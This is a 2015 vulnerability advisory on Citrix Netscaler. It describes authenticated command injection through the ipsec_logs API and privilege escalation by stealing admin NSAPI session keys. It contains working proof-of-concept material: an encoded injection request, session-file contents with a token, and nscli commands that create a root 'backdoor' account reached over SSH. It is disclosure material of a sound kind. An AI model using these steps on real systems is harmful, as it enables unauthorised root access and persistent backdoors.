Vulnerability Advisory

Name	Netscaler Multiple Vulnerabilities
Vendor Website	https://www.citrix.com/
Date Released	June 29, 2015
Affected Software	Netscaler <=10.5
Researchers	Daniel Jensen

Description

The Citrix Netscaler is vulnerable to authenticated arbitrary command execution as a non-administrative user, and a privilege escalation vulnerability via session hijacking.

Exploitation

Authenticated Arbitrary Command Execution

An authenticated, non administrative user can execute commands as the 'nobody' system user by exploiting a command injection vulnerability in the ipsec_logs call of the rapi controller. System commands can be injected into the ipsec log search parameters as the call is not correctly escaped before being executed. This exploitation is blind as no output from the system command is returned to the user.

The following command is sent URL encoded to the ipsec_logs call. The first and last characters are unimportant.

```
Z&id > /var/tmp/exploit-demo&Z
```

Proof of Concept

```
GET
/rapi/ipsec_logs?filter=message:%5a%26%69%64%20%3e%20%2f%76%61%72%2f%74%6d%70%2f%65
%78%70%6c%6f%69%74%2d%64%65%6d%6f%26%5a HTTP/1.1
Host: [redacted]
NITRO_WEB_APPLICATION: true
rand_key: 1888009064.1423709494407793
Cookie: SESSID=a42948d4b02435d07c2d2cc908b5a7ac; startupapp=neo; is_cisco_platform=0
Connection: keep-alive

root@ns# cat /var/tmp/exploit-demo
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
```

Any user with access to the Netscaler web interface is able to perform calls to the ipsec_logs endpoint and consequently can execute arbitrary commands on the system.

Privilege Escalation

A user with shell access as the nobody user can gain root privileges on the Netscaler by stealing an admin session from the web interface and using the API key to execute commands as an admin by using the nscli binary present on the Netscaler.

Using the previous arbitrary command execution vulnerability, a user can setup an interactive shell to the Netscaler. This allows them to read the contents of some files on the system. Sessions for the web interface on the Netscaler are stored in the /var/nstmp directory, and are owned by the 'nobody' user. By using the command execution vulnerability, web users can read the name and contents of all the current session files for the web server. The session files contain data about current sessions, including the NSAPI key for the associated user. The NSAPI key can be used to make calls to the 'nscli' binary as that user. If an admin user is currently logged into the Netscaler, the nobody user can read their NSAPI key and use it to execute Netscaler commands

as the admin user. This can be used to create a backdoor account for the Netscaler with full superuser privileges, which can be logged into over SSH or through the web interface. This account will have root privileges on the operating system, accessible by the 'shell' command.

The following proof of concept shows a malicious user stealing the NSAPI token of the nsroot user that is currently logged into the web interface, and creating a backdoor SSH user with root privileges.

Proof of Concept

```
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
ls /var/nstmp/sess*
/var/nstmp/sess_202d57225d31554f91e9a23569712522
/var/nstmp/sess_ce7777306c5432888b610ab4b616eb6a
cat /var/nstmp/sess_ce7777306c5432888b610ab4b616eb6a
NSAPI|s:254:"##D36C9F47C4613A5ED539DBC9F36F94649BC0C9FAB89CCF744BA6E9A7DC6F6BB5E
75AABAECD14C2FE1F1C98413506F8E05A21DD3DF1EA084204D4EBE39D56E98F456D96AF86869269B
23CB097A43D632ECB38D91A2386BE47B5F8B73FEDBBE2B234D97ACB8F23DFCE46B3BE8FE9F1C0A80
EC32E38AA63B7C3F0F9ED8A21AF";NSAPI_DOMAIN|s:0:"";NSAPI_PATH|s:1:"/";sysid|s:6:"4
50010";oemid|s:1:"0";nsbw|i:0;nsbrandDesc|s:13:"NetScaler VPX";username|s:6:"nsr
oot";timezone_offset|i:46800;nsversion|s:53:" NS10.5: Build 54.9.nc, Date: Dec 1
```

```
nscli -s -U ::##D36C9F47C4613A5ED539DBC9F36F94649BC0C9FAB89CCF744BA6E9A7DC6F6BB5
E75AABAECD14C2FE1F1C98413506F8E05A21DD3DF1EA084204D4EBE39D56E98F456D96AF86869269
B23CB097A43D632ECB38D91A2386BE47B5F8B73FEDBBE2B234D97ACB8F23DFCE46B3BE8FE9F1C0A8
0EC32E38AA63B7C3F0F9ED8A21AF add system user backdoor password
nscli -s -U ::##D36C9F47C4613A5ED539DBC9F36F94649BC0C9FAB89CCF744BA6E9A7DC6F6BB5
E75AABAECD14C2FE1F1C98413506F8E05A21DD3DF1EA084204D4EBE39D56E98F456D96AF86869269
B23CB097A43D632ECB38D91A2386BE47B5F8B73FEDBBE2B234D97ACB8F23DFCE46B3BE8FE9F1C0A8
0EC32E38AA63B7C3F0F9ED8A21AF bind system user backdoor superuser 1
```

```
root@kali:~/Desktop# ssh backdoor@[redacted]
Password:
Last login: Tue Feb  3 01:16:22 2015 from [redacted]
 Done
> shell
Copyright (c) 1992-2013 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.

root@ns# id
uid=0(root) gid=0(wheel) groups=0(wheel),20(operator)
root@ns#
```

Solution

There is no official solution for these issues. All access to the Citrix Netscaler is recommended to be kept on a secure network and rigorously firewalled to reduce the exploitability of these vulnerabilities.

Timeline

12/02/2015 – Advisory sent to vendor.
17/02/2015 – Vendor acknowledges advisory receipt.
18/02/2015 – Additional information supplied to vendor regarding affected versions.
20/03/2015 – Update requested.
21/03/2015 – Vendor responds, states issues are under investigation.
12/05/2015 – Updated requested.
14/05/2015 – Vendor states a schedule for fixes will be available in the next few days.
19/05/2015 – Vendor states they are still working on a resolution date.
27/05/2015 - Vendor states they are still working on a resolution date.
28/05/2015 – Requested update on timeline for resolution.
29/05/2015 – Vendor states a release schedule should be available early next week.
08/06/2015 – Email asking for update on release schedule.
09/06/2015 – Vendor states an update on release schedule will be available in the next 3 days.
10/06/2015 – Email sent to vendor acknowledging timeframe.
29/06/2015 – Advisory release.

Responsible Disclosure

Security-Assessment.com follows a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com